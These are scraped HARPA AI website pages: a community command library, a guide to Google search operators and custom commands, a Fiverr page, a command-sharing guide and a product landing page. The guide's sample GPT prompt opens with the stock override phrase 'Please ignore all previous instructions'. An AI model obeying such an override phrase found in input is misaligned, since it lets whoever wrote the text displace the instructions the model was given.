#extraction\ \ Adrian Larsson\ \ 130\ \ 9](https://harpa.ai/library/reddit-thread-extraction/6728a3fe22b006c16f7f7581) [🔄\ \ Instagram Followers Auto Follow v1.3 #instagram\ \ Automatically follows a list of profiles from a single Instagram account. Works without usernames/links - uses current page data instead.\ \ Mohammed Al-Rashid\ \ 130\ \ 11](https://harpa.ai/library/instagram-followers-auto-follow-v13-%23instagram/6765569ddd321dd19e91f693) [🧩\ \ Facebook Post & Comments Extraction\ \ Extracts the Facebook post and all its comments. Use this command on a post page that can be accessed by clicking the comments count button. #extraction\ \ Adrian Larsson\ \ 105\ \ 14](https://harpa.ai/library/facebook-post--%26-comments-extraction/6728a3fe22b006c16f7f757f) [✍️\ \ Email Writer: GMail, ProtonMail, Outlook, FastMail\ \ The Best AI Email Drafter that follows your style instructions and works perfectly with Gmail, ProtonMail, Outlook, and FastMail\ \ Erik Nielsen\ \ 103\ \ 10](https://harpa.ai/library/email-writer%3A-gmail%2C-proton-mail%2C-outlook%2C-fast-mail/675b37ae77626e6e0b469fda) [🛒\ \ Key Decision Making Factors (KDMF) - by Erik Nielsen\ \ Generates 6 data-backed key decision-making factors (KDMFs) that help customers evaluate and choose products in online stores. #amazon #ebay #emarketing #sales\ \ Erik Nielsen\ \ 98\ \ 14](https://harpa.ai/library/key-decision-making-factors-(kdmf)---by-erik-nielsen/672e431f2a8a03fd59c59e7e) [🧩\ \ Discord Chat Extraction\ \ Extracts messages from Discord discussions. #extraction\ \ Adrian Larsson\ \ 97\ \ 12](https://harpa.ai/library/discord-chat-extraction/6728a3fe22b006c16f7f7583) [🧩\ \ WhatsApp Messages Extraction\ \ Extracts messages from WhatsApp conversation. Run this command while viewing a WhatsApp chat in your browser. #extraction\ \ Adrian Larsson\ \ 96\ \ 13](https://harpa.ai/library/whats-app-messages-extraction/6728a3fe22b006c16f7f7582) [🔄\ \ Instagram Auto Follow or Unfollow v1.1\ \ Auto follow or unfollow a list of accounts on Instagram. Requires a list of @usernames or Instagram profile links. #instagram\ \ Bohdan Kovtunenko\ \ 94\ \ 4](https://harpa.ai/library/instagram-auto-follow-or-unfollow-v11/67642b6fdd321dd19e80a4d3) [💬\ \ YouTube Comment Agent v1.2\ \ Scrapes videos from YouTube on a given topic and leaves summary or custom comments. #youtube\ \ Mei-Ling Zhang\ \ 84\ \ 11](https://harpa.ai/library/you-tube-comment-agent-v12/672b8cd530c666cf8e87022c) [📦\ \ Convert Page to JSON\ \ Extract webpage data into structured and customizable JSON format. Results can be downloaded, sent via webhook, or used in other commands.\ \ Lucas Guassu\ \ 61\ \ 3](https://harpa.ai/library/convert-page-to-json/674588359bcfff35d15207ad) [📸\ \ Full Page Screenshot Summary\ \ Photographs the entire page and lets the vision model actually look at it, so pictures, charts, diagrams and layout count as content instead of being lost the way a plain text extraction loses them. You choose how deep the walk should go and whether it starts at the top or at the current position, and the command then walks the page downwards one screen at a time, which is also what makes a lazy page load its next chunk, so loading and photographing are the same movement. Ten frames travel together in one vision request, and the walk stops by itself at the bottom or at the ceiling you picked. Before a single request is spent you see the exact number of frames and requests and can still stop. One question then asks whether the reading should follow any instructions of your own - a one to one rebuild with fonts and colours, text only without the pictures, anything you type - and whatever you type takes precedence over the format and is carried out on the finished record as well; skipping it reads the whole page in full detail, every word transcribed and every picture described. Every reading is verified: an empty segment is retried, then photographed again and read with a plainer prompt, and only then marked as a visible gap, so a failure is never a silent hole. The frame readings merge into one continuous record. When that record outgrows a single request it is never rewritten smaller: it is indexed into passages cut on frame seams, and you choose between sending every frame in one pass or letting each request draw only the passages it needs, selected by lexical search over that index and delivered with the frame every passage came from named beside it. Both are free. Under retrieval every answer carries frame citations, and every quote is then located in the record, restored to its exact wording, re-pointed at the passage it truly sits in, and dropped if it cannot be found, with numeric, negation and modal guards that catch a claim which kept the words and reversed the meaning. The record answers everything: a quick summary, a long-form or structured report, a visual analysis, a data extraction of every table and chart, a UI audit, a full markdown rebuild of the page, an inventory of links and actions, verbatim citations, a translation, an export, a handover to another command, or anything else you type into the same menu as a free instruction or question. PDFs are handled by page: the page count is read out of the viewer for free where possible, and every page is photographed in turn. Each finished segment reports itself with one compact progress line, so a long page is never a minute of silence. Everything is written in the output language chosen at the start.\ \ Morteza H.\ \ 57\ \ 3](https://harpa.ai/library/full-page-screenshot-summary/67936d7d5c4260e62817489b) [📯\ \ Clickbait Title\ \ Create 10 catchy clickbaits tailored to captivate audiences.\ \ Smart Solutions\ \ 52\ \ 5](https://harpa.ai/library/clickbait-title/6590902c2d7a212eb95027dc) [🛠️\ \ Software Design Workflow #3\ \ Step-by-step creation of software design artifacts with iterative refinement.\ \ K D\ \ 47\ \ 2](https://harpa.ai/library/software-design-workflow-%233/676ee922e1e198d456adb36a) [📤\ \ WebPage To X Post\ \ This prompts analyzes a web article or page and gives you an popular x post format post.\ \ @seo.preneur\ \ 34\ \ 2](https://harpa.ai/library/web-page-to-x-post/672f1323fcb141785d5695ba) [⚙️\ \ Prompt Generator\ \ Simple Prompt Generator\ \ Shadi Elwan\ \ 22\ \ 0](https://harpa.ai/library/prompt-generator/66c362ec3a93ad83bde78939) [🔍\ \ High-Value Keyword Research Tool\ \ Specialized keyword research focusing on high volume/low competition opportunities and valuable long-tail keywords with strong conversion potential.\ \ Najib HADDOUCHI\ \ 18\ \ 1](https://harpa.ai/library/high-value-keyword-research-tool/682b0a2f18d5b1ef7436341a) [🎬\ \ YouTube video summarya\ \ Save time on watching YouTube videos. Break down YouTube videos into parts and get key takeaways.\ \ Marcus Engelmann\ \ 15\ \ 3](https://harpa.ai/library/you-tube-video-summarya/68507ef085fa388781172264) [⚙️\ \ lecture, presentation and cheatsheet generator\ \ This workflow transforms any provided text into a polished, cheatsheet-style lecture note in markdown format. It starts by asking for content, then uses a GPT-driven module to generate detailed lecture notes complete with equations, code examples, and image placeholders. A subsequent JavaScript step cleans up formatting issues before the final result is exported as a markdown file. Perfect for educators and students looking to convert raw text into structured, shareable notes.\ \ K D\ \ 10\ \ 0](https://harpa.ai/library/lecture%2C-presentation-and-cheatsheet-generator/67d30b38eea5a983d4290f7f) [1](https://harpa.ai/library/community) [2](https://harpa.ai/library/community?page=2) [3](https://harpa.ai/library/community?page=3) [](https://harpa.ai/library/community?page=2) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Web Search Operators [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/security/scan.svg) Web Search Operators ==================== OUTLINE NAVIGATE Google reigns supreme as the go-to search engine. To harness its full potential, understanding and utilizing Google's advanced search operators is crucial. These tools are not just for SEO experts; they can be beneficial for anyone looking to refine their search for more precise results. **Google Search Operators** can be used in HARPA AI using the **{{serp query}}** parameter, allowing you to incorporate data from searches into custom commands. First, we will explain what Google Search Operators are, then briefly describe their basic and advanced options, and finally, explain how to use them in HARPA AI. [\#](https://harpa.ai/blog/google-search-operators-harpa-ai#what-are-google-search-operators?) What are Google Search Operators? --------------------------------------------------------------------------------------------------------------------------------- Google search operators are special words that enhance the capabilities of regular text searches. They are sometimes referred to as “advanced operators” and extend beyond the basic keyword input, allowing users to specify their searches in a much more detailed manner. ### [\#](https://harpa.ai/blog/google-search-operators-harpa-ai#basic-search-operators) Basic Search Operators These operators modify standard text searches to yield more targeted results: * **Country Code:** You can ensure the SERP contains only the local search results from your desired country. Specify **cr:XX** to get results from a specific country. If the **cr:XX** does not work, try **gl:XX**, these operators are interchangeable. XX is the two-letter country code * [nikola tesla cr:US](https://www.google.com/search?q=nikola+tesla+cr%3AUS) or [nikola tesla gl:US](https://www.google.com/search?q=nikola+tesla+gl%3AUS) * [nikola tesla cr:AU](https://www.google.com/search?q=nikola+tesla+cr%3AAU) or [nikola tesla gl:AU](https://www.google.com/search?q=nikola+tesla+gl%3AAU) * **Date filter:** You can also filter the query by date by writing "before:date". * [nikola tesla before:2019-01-01](https://www.google.com/search?q=nikola+tesla+before%3A2019-01-01) * **Website Domain Zones:** You can filter by domain zone using “website:.XX” (where XX is the country code TLD in the URL - e.g., .uk, .ca, etc). * [nikola tesla website:.uk](https://www.google.com/search?q=nikola+tesla+website%3A.uk) * **Exact Match:** Using quotation marks around a phrase ensures an exact-match search. * ["nikola tesla"](https://www.google.com/search?q=%22nikola+tesla%22&*) * **Logical Operators:** "OR" and "|" help combine different search terms, while "-" excludes certain terms. * “[tesla OR edison](https://www.google.com/search?q=tesla+OR+edison) ” or “[tesla | edison](https://www.google.com/search?q=tesla+%7C+edison) ” * **Wildcard:** The asterisk (\*) acts as a wildcard, replacing it with any word or phrase. * [tesla "rock \* roll"](https://www.google.com/search?q=tesla+%22rock+*+roll%22) * **Number Range:** Searching with a number range like "2015..2017" can narrow down results to a specific timeframe. * [tesla announcement 2015..2017](https://www.google.com/search?q=tesla+announcement+2015..2017) * **Price Search:** Symbols like "$" and "€" can be used for price-related searches. * [tesla deposit $1000](https://www.google.com/search?q=tesla+deposit+%241000) ### [\#](https://harpa.ai/blog/google-search-operators-harpa-ai#advanced-search-operators) Advanced Search Operators * **intitle/allintitle: Finds terms specifically in the page titles.** * [intitle:"tesla vs edison"](https://www.google.com/search?q=intitle:%22tesla+vs+edison%22) * **inurl/allinurl: Searches for terms within URLs.** * [tesla announcements inurl:2016](https://www.google.com/search?q=tesla+announcements+inurl:2016) * **intext/allintext: Looks for terms in the body of a webpage.** * [allinurl: amazon field-keywords nikon](https://www.google.com/search?q=allinurl:+amazon+field-keywords+nikon) * **filetype: Useful for finding specific file types like PDFs or DOCs.** * ["tesla announcements" filetype:pdf](https://www.google.com/search?q=%22tesla+announcements%22+filetype:pdf) * **related: Identifies websites similar to a specified domain.** * [related:nytimes.com](https://www.google.com/search?q=related:nytimes.com) [\#](https://harpa.ai/blog/google-search-operators-harpa-ai#google-operators-in-harpa-ai) Google Operators in HARPA AI ----------------------------------------------------------------------------------------------------------------------- Operators can be used in SERP queries in HARPA AI via the **{{serp query}}** parameter. This can aid in solving tasks with custom commands and can also be applied in the pre-made **/search-agent** command, making searches more targeted and ensuring maximum relevance of the search results. For example, let's create a simple custom command in HARPA AI that would search Google for data for further use: 1. Open HARPA AI and type **/** in the chat. 2. Click on the **CREATE** button in the top right corner. ![](https://harpa.ai/img/guides/google-search-operators-1.webp) 3. Add the **ASK** step that would request the text of your search query to save it in a **{{query}}** parameter. Here, you can use the above-mentioned Google Search Operators to conduct a search, for example, “**Nikola Tesla website:.uk**”. ![](https://harpa.ai/img/guides/google-search-operators-2.webp) 4. Add a **SAY** step that will display the **{{serp query}}** results in the chat. Note that this will be unformatted text. ![](https://harpa.ai/img/guides/google-search-operators-3.webp) ![icon](https://harpa.ai/icon/lines/general/pin-02.svg) Remember, you can always type /help to open the Help Command, which can assist you in finding answers to questions about HARPA AI. **Advanced Custom command functions:** 5. If you want more, you can save the result as a parameter using the **CALC** step and use it later. Use **CALC: SET PARAMETER** to create a new parameter with information from **{{serp query}}**, called **{{data}}**. ![](https://harpa.ai/img/guides/google-search-operators-4.webp) 6. Let's extract a data array for further processing in **LOOPs**. For this, use the **CALC: EXTRACT SERP LINKS** step. This step will take the necessary information from the **{{data}}** parameter and form an array of data containing titles, URLs, and descriptions in a format suitable for use in **LOOPs**. ![](https://harpa.ai/img/guides/google-search-operators-5.webp) 7. You can use data from arrays by referring to the item's ordinal number in the array (0 - the first item) and the name of the element. For example, **{{array.0.title}}** will be the title of the first data array item, i.e., the first title from SERP. And specifying **`[{{array.0.title}}]({{array.0.url}})`** will create a link to the first SERP page in markdown format. ![](https://harpa.ai/img/guides/google-search-operators-6.webp) 8. For example, you can display all the SERP data received (Markdown link and descriptions stored in the array) as a message in the chat with **SAY** step. For this, you need to enter the following text in the chat: ✅ SERP data extracted: - [{{array.0.title}}]({{array.0.url}}): {{array.0.description}}. - [{{array.1.title}}]({{array.1.url}}): {{array.1.description}}. - [{{array.2.title}}]({{array.2.url}}): {{array.2.description}}. - [{{array.3.title}}]({{array.3.url}}): {{array.3.description}}. - [{{array.4.title}}]({{array.4.url}}): {{array.4.description}}. - [{{array.5.title}}]({{array.5.url}}): {{array.5.description}}. - [{{array.6.title}}]({{array.6.url}}): {{array.6.description}}. - [{{array.7.title}}]({{array.7.url}}): {{array.7.description}}. ![](https://harpa.ai/img/guides/google-search-operators-7.webp) 9. Later, you can use this data **{{array}}** for navigating through links in **LOOPs** using **NAVIGATE** steps. * Add a **LOOP** step where actions will be performed on an **{{array}}**. ![](https://harpa.ai/img/guides/google-search-operators-8.webp) * Go into the **LOOP** step and add a **NAVIGATE** step with the **{{item.url}}** parameter, which will refer to the URL value for each item used. ![](https://harpa.ai/img/guides/google-search-operators-9.webp) * By navigating through each link in the SERP, you can perform some action, for example, create Summary pages using the **/summary** command. * To use the “command inside a command”, add a **COMMAND** step with the **/summary** call. Specify the required inputs to select options in advance, so you don't have to do it manually later. You can find out the required inputs by trying this command in another browser window. ![](https://harpa.ai/img/guides/google-search-operators-10.webp) * Great, now your Custom Command goes through the links in the SERP, creating a summary for each of them. **What can you do next?** * After that, you can save all the information from /summary into one parameter, such as a new array with a different name using **CALC: ADD LIST ITEM.** ![](https://harpa.ai/img/guides/google-search-operators-11.webp) * Then create a prompt that combines it all into one complete text containing details about your initial query. This effectively results in a fully customized Search Agent for your specific task. ![](https://harpa.ai/img/guides/google-search-operators-12.webp) GPT STEP: Please ignore all previous instructions. I want you to only respond in {{language}}. You are a Research Agent. I want you to create the detailed response to [MY QUESTION], adhering to a specific format I provide. - Utilize both your inherent knowledge and the [WEB RESEARCH RESULTS] provided at the end. - Utilize as many URLs from [WEB RESEARCH RESULTS] as possible, even if you've found the answer in one of them. - Do not use any other tools and sources. - Please integrate insights from the [WEB RESEARCH RESULTS] into your response and ensure the inclusion of links in a markdown format: [[1]](URL) - Please avoid general phrases and unrelated words from your response to my question. - Do not hallucinate facts or information. FOLLOW THE FORMAT: ## Answer for '{{query}}': 400 words detailed response text with links, e.g. [[1]](URL) [MY QUESTION]: {{query}} [WEB RESEARCH RESULTS]: {{array2}} ADDITIONAL SOURCES: - [{{array.0.title}}]({{array.0.url}}): {{array.0.description}}. - [{{array.1.title}}]({{array.1.url}}): {{array.1.description}}. - [{{array.2.title}}]({{array.2.url}}): {{array.2.description}}. - [{{array.3.title}}]({{array.3.url}}): {{array.3.description}}. - [{{array.4.title}}]({{array.4.url}}): {{array.4.description}}. [DETAILED RESPONSE]: ![icon](https://harpa.ai/icon/lines/general/pin-02.svg) The choice is yours; depending on your task, you can create combinations of new steps, building complex AI automation systems with the help of HARPA AI. [\#](https://harpa.ai/blog/google-search-operators-harpa-ai#links-for-further-reading) Links for further reading ----------------------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [Using Flags](https://harpa.ai/guides/using-flags) * [Page Crawler](https://harpa.ai/guides/page-parameter-page-crawler) * [Page & YouTube Summaries](https://harpa.ai/guides/summarize-pages-and-youtube-videos-to-text) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [Reply to Emails](https://harpa.ai/guides/manage-emails-with-chatgpt-and-harpa-ai) * [Writing Emails, DMs, Tweets](https://harpa.ai/guides/write-text-on-websites-with-ai) * [Price Monitors](https://harpa.ai/guides/monitor-price-drops) * [Track Competitors](https://harpa.ai/guides/track-competitors) * [Autorefresh Web Pages](https://harpa.ai/guides/autorefresh-web-pages) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/blog/connecting-harpa-to-perplexity) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/blog/ai-answers-alongside-google-search) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | ChatGPT for Fiverr [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/img/apps/fiverr.svg) ChatGPT for Fiverr ================== CATEGORY APP [#](https://harpa.ai/case/chatgpt-for-fiverr#chatgpt-for-fiverr)  ChatGPT for Fiverr ------------------------------------------------------------------------------------ HARPA AI integrates seamlessly with your Fiverr workflow, bringing you smart, AI-powered tools to create standout gig descriptions and persuasive proposals that can help elevate your success on the platform. ![](https://harpa.ai/img/apps/fiverr.svg) Fiverr Gig description generator Create Fiverr Gig description for a given Gig title. [USE COMMAND](https://get.harpa.ai/) Take a glimpse into the exclusive features HARPA AI offers for Fiverr sellers: ### [##](https://harpa.ai/case/chatgpt-for-fiverr#fiverr-gig-descriptions)  Fiverr Gig Descriptions Command the attention of potential buyers with engaging and precise gig descriptions. Our AI helps you articulate the value of your services, tailored to the unique needs of your target audience, for any given Gig title. ### [##](https://harpa.ai/case/chatgpt-for-fiverr#customized-proposals)  Customized Proposals Break through the competition with customized, AI-generated proposals that resonate with your clients’ needs, demonstrating your understanding and commitment to delivering exceptional service. ### [##](https://harpa.ai/case/chatgpt-for-fiverr#boost-your-sales-potential)  Boost Your Sales Potential HARPA AI not only aids in creating content that sells but also provides strategic suggestions to enhance your gig offerings, making them more attractive to buyers. ### [##](https://harpa.ai/case/chatgpt-for-fiverr#how-to-use-chatgpt-with-fiverr)  How to Use ChatGPT with Fiverr To use ChatGPT with Fiverr, you need a free ChatGPT Account and a HARPA.AI Chrome Extension. Here are the steps to get started: * **Setting up a ChatGPT account**: Navigate to the ChatGPT website and sign up for a free account. * **Installing the HARPA.AI Chrome Extension**: Install the free HARPA.AI Chrome Plugin from the Chrome Web Store in a few clicks. * **Using HARPA AI ChatGPT commands**: When HARPA is installed, navigate to the Fiverr website and press **Alt+A** on your keyboard or click the plugin icon in the Chrome Toolbar. HARPA will launch. Type **/fiverr** to HARPA chat to bring a list of ChatGPT prompts for Fiverr. ### [##](https://harpa.ai/case/chatgpt-for-fiverr#connect-with-harpa-ai)  Connect with HARPA AI Your feedback, suggestions, and ideas are invaluable to us. If you have any questions or insights, please don't hesitate to reach out to us. At HARPA AI, we are committed to enhancing your YouTube experience and helping you succeed. GOT AN IDEA? CONTACT US Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Library & Command Sharing [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ![](https://harpa.ai/icon/lines/general/download-cloud-01.svg) Library & Command Sharing ========================= CONTENTS NAVIGATE You can easily share your AI-powered web automations called **Commands** with others, either via direct links or publicly in the [AI Commands Library](https://harpa.ai/library) . Commands are sorted by popularity based on number of downloads and likes. [\#](https://harpa.ai/guides/command-library#how-to-share-or-publish-commands) How to Share or Publish Commands ---------------------------------------------------------------------------------------------------------------- 1. Open a command editor in HARPA AI. 2. Click the "Share" button at the top of the command. ![](https://harpa.ai/img/guides/commands-library-1.webp) 3. Copy link to clipboard. ![](https://harpa.ai/img/guides/commands-library-2.webp) 4. Save the command. Once saved, your command will be shared online. Everyone having the link will be able to find it. 5. If you want to make your command publicly available and displayed in the library, use the **Publish** toggle and click save button. Your command will become a part of the public library. ![](https://harpa.ai/img/guides/commands-library-3.webp) 6. Command at the link always points to the latest version of your command. However, if you downloaded a shared command, it will not be updated automatically and needs to be loaded again. ![icon](https://harpa.ai/icon/lines/general/pin-02.svg) You can include a version number in the command name field. This helps users track if new versions become available. ![](https://harpa.ai/img/guides/commands-library-4.webp) We recommend writing short and helpful Descriptions and use #hashtags so that your commands can be easily found. [\#](https://harpa.ai/guides/command-library#finding-and-downloading-commands) Finding and Downloading Commands ---------------------------------------------------------------------------------------------------------------- ![icon](https://harpa.ai/icon/lines/general/pin-02.svg) Please note that shared commands may contain harmful code. Review command content before running it. Only commands in the Official category are verified by the HARPA AI team. 1. Browse all public commands in the [library page](https://harpa.ai/library) , use the search bar if needed. ![](https://harpa.ai/img/guides/commands-library-5.webp) 2. Find command you need, open HARPA AI and click **Import** button. ![](https://harpa.ai/img/guides/commands-library-6.webp) 3. If you find a command useful, give it a like to help others discover it. ![](https://harpa.ai/img/guides/commands-library-7.webp) [\#](https://harpa.ai/guides/command-library#how-to-report-harmful-commands) How to Report Harmful Commands ------------------------------------------------------------------------------------------------------------ If you find a command that is harmful or offensive, please report it to us at [\[email protected\]](https://harpa.ai/cdn-cgi/l/email-protection) . [\#](https://harpa.ai/guides/command-library#links-for-further-reading) Links for further reading -------------------------------------------------------------------------------------------------- * [HARPA AI YouTube Channel](https://www.youtube.com/@HarpaAI) * [Custom AI Commands](https://harpa.ai/guides/custom-page-aware-chatgpt-commands) * [Built-in ChatGPT Commands](https://harpa.ai/guides/page-aware-chatgpt-prompts) * [Editing Built-In Commands](https://harpa.ai/guides/editing-pre-defined-commands) [![](https://harpa.ai/icon/lines/arrows/arrow-left.svg)](https://harpa.ai/guides/beta-builds) [NEXT POST![](https://harpa.ai/icon/lines/arrows/arrow-right.svg)](https://harpa.ai/) Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI Browser Agent | ChatGPT, Claude, Gemini, Perplexity [![HARPA AI logo](https://harpa.ai/img/main-logo-dark.png)](https://harpa.ai/) [ADD TO BROWSER](https://get.harpa.ai/) ![](https://harpa.ai/img/preview/header-chat.png) ![](https://harpa.ai/img/preview/screenshot-1.png)![](https://harpa.ai/img/preview/screenshot-2.png)![](https://harpa.ai/img/preview/screenshot-3.png)![](https://harpa.ai/img/preview/screenshot-4.png)![](https://harpa.ai/img/preview/screenshot-5.png)![](https://harpa.ai/img/preview/screenshot-6.png)![](https://harpa.ai/img/preview/screenshot-7.png)![](https://harpa.ai/img/preview/screenshot-8.png)![](https://harpa.ai/img/preview/screenshot-9.png)![](https://harpa.ai/img/preview/screenshot-10.png)![](https://harpa.ai/img/preview/screenshot-11.png)![](https://harpa.ai/img/preview/screenshot-12.png)![](https://harpa.ai/img/preview/screenshot-13.png)![](https://harpa.ai/img/preview/screenshot-14.png)![](https://harpa.ai/img/preview/screenshot-15.png)![](https://harpa.ai/img/preview/screenshot-16.png) ![](https://harpa.ai/img/preview/footer.png) #1 AI AGENT FOR WEB BROWSING ========================= APP DASHBOARDADD TO BROWSERADD TO BROWSER Summarize YouTube videos, blogs, PDFs in seconds, answer emails, proofread, generate articles, extract data and automate your work with contextual & practical AI. ------------------------------------------------------------------------------------------------------------------------------------------------------------------ [![Chrome Awards 2025](https://harpa.ai/img/chrome-awards-2025.png)](https://blog.google/products/chrome/our-favorite-chrome-extensions-of-2025/) ![5 stars rating on Chrome Web Store](https://harpa.ai/img/misc/stars-brand.svg)**4.7** Trusted by **500.000** professionals EVERY AI IN ONE APP Press Alt + A to access GPT-5.4, Claude 4.6, DeepSeek, Gemini 3.1, Llama 4, Perplexity on any web page. ![Chrome browser logo](https://harpa.ai/img/browsers/chrome.svg)![Brave browser logo](https://harpa.ai/img/browsers/brave.svg)![Opera browser logo](https://harpa.ai/img/browsers/opera.svg)![Edge browser logo](https://harpa.ai/img/browsers/edge.svg)![Firefox browser logo](https://harpa.ai/img/browsers/firefox.svg) ![YouTube video illustrating HARPA.AI](https://harpa.ai/img/misc/benefits-video.webp) BEST-IN-CLASS PRIVACY IN AI HARPA supports local models like Meta Llama, does not log your conversations and actions, is GDPR compliant, and can be paired with any LLM model of your choice. ![Quick access bar screenshot](https://harpa.ai/img/misc/benefits-picture.png) HARPA has a hybrid Browser Automation/AI engine and is compatible with OpenAI GPT, Anthropic Claude, Google Gemini, DeepSeek, Perplexity and Meta Llama. ![Benefits DNA icon](https://harpa.ai/img/misc/benefits-dna.svg) ![youtube.png feature icon](https://harpa.ai/img/features/youtube.png) YOUTUBE SUMMARIZER Save time on YouTube. Extract key takeaways from hours-long videos, seek information and jump to timestamps, talk to videos. ![Summarize YouTube video button](https://harpa.ai/img/features/youtube-summarize-button.png) ![Repurpose YouTube video button](https://harpa.ai/img/features/youtube-repurpose-button.png) ![Repurpose YouTube video button](https://harpa.ai/img/features/youtube-analytics-button.png)![dive.png feature icon](https://harpa.ai/img/features/dive.png) ANSWER ENGINE Get **hallucination-free AI responses** alongside Google Search along with source citations. HARPA scans websites, compiling informed answers and follow-ups. ![gmail.png feature icon](https://harpa.ai/img/features/gmail.png) GMAIL ASSISTANT Zero your inbox in no time: categorize incoming emails with AI, summarize long threads, and draft contextual replies in your tone of voice. ![mimic.png feature icon](https://harpa.ai/img/features/mimic.png) WRITER THAT MIMICS YOUR STYLE HARPA mimics your writing style while crafting emails, tweet replies, LinkedIn cover letters, and SEO-optimised articles of unlimited length. EMAIL DM TWEET SOCIAL POST ARTICLE STORY CV COVER LETTER POEM TODO LIST MEETING AGENDA ![spy.png feature icon](https://harpa.ai/img/features/spy.png) TRACK PAGE UPDATES Set up a web page monitor and HARPA will periodically check websites for changes, and notify you whenever they update. ![package.png feature icon](https://harpa.ai/img/features/package.png) READY-TO-USE PROMPTS Access over 100 carefully crafted practical page-aware automations to refine your LinkedIn resume, practice a language, generate SMM content, fix code and more. MARKETING & SEO CHARTING E-COMMERCE COPYWRITING LEARNING RECRUITING PRODUCTIVITY ![hand.png feature icon](https://harpa.ai/img/features/hand.png) WRITE ARTICLES Generate 25.000+ word articles in 25 writing frameworks, from outline to chapters, refining or adding keywords at each step. ![heart.png feature icon](https://harpa.ai/img/features/heart.png) QUICK SHORTCUTS HARPA is always at hand with **//** shortcut. Press **F** to finish a draft, **G** to check grammar, **P** to rephrase, **T** to translate, **S** to search, **E** to explain and much more. ![rocket.png feature icon](https://harpa.ai/img/features/rocket.png) BOOST YOUR SEO Perform AI-driven SEO audit, extract long-tail keywords, segment your audience, create content calendars, compile keyword reports, outrank articles. ![price.png feature icon](https://harpa.ai/img/features/price.png) TRACK PRICE DROPS Get price drop and back-in-stock alerts for products on virtually every e-commerce website: Amazon, AliExpress, Walmart, Ebay… ![zap.png feature icon](https://harpa.ai/img/features/zap.png) APIFY ANY WEBSITE Scrape data, automate web search and monitoring and trigger IFTTT chains with Make.com, Zapier, n8n. Extract prospects, listings and data from any website. ![bot.png feature icon](https://harpa.ai/img/features/bot.png) USE AGENTS IN BROWSER Bring your custom GPTs to your Browser. Create an AI agent for your team, giving it access to page content, search and automation functions. ![AI persona avatar no.1](https://harpa.ai/img/features/assistant-1.png)![AI persona avatar no.2](https://harpa.ai/img/features/assistant-2.png)![AI persona avatar no.3](https://harpa.ai/img/features/assistant-3.png)![AI persona avatar no.4](https://harpa.ai/img/features/assistant-4.png)![AI persona avatar 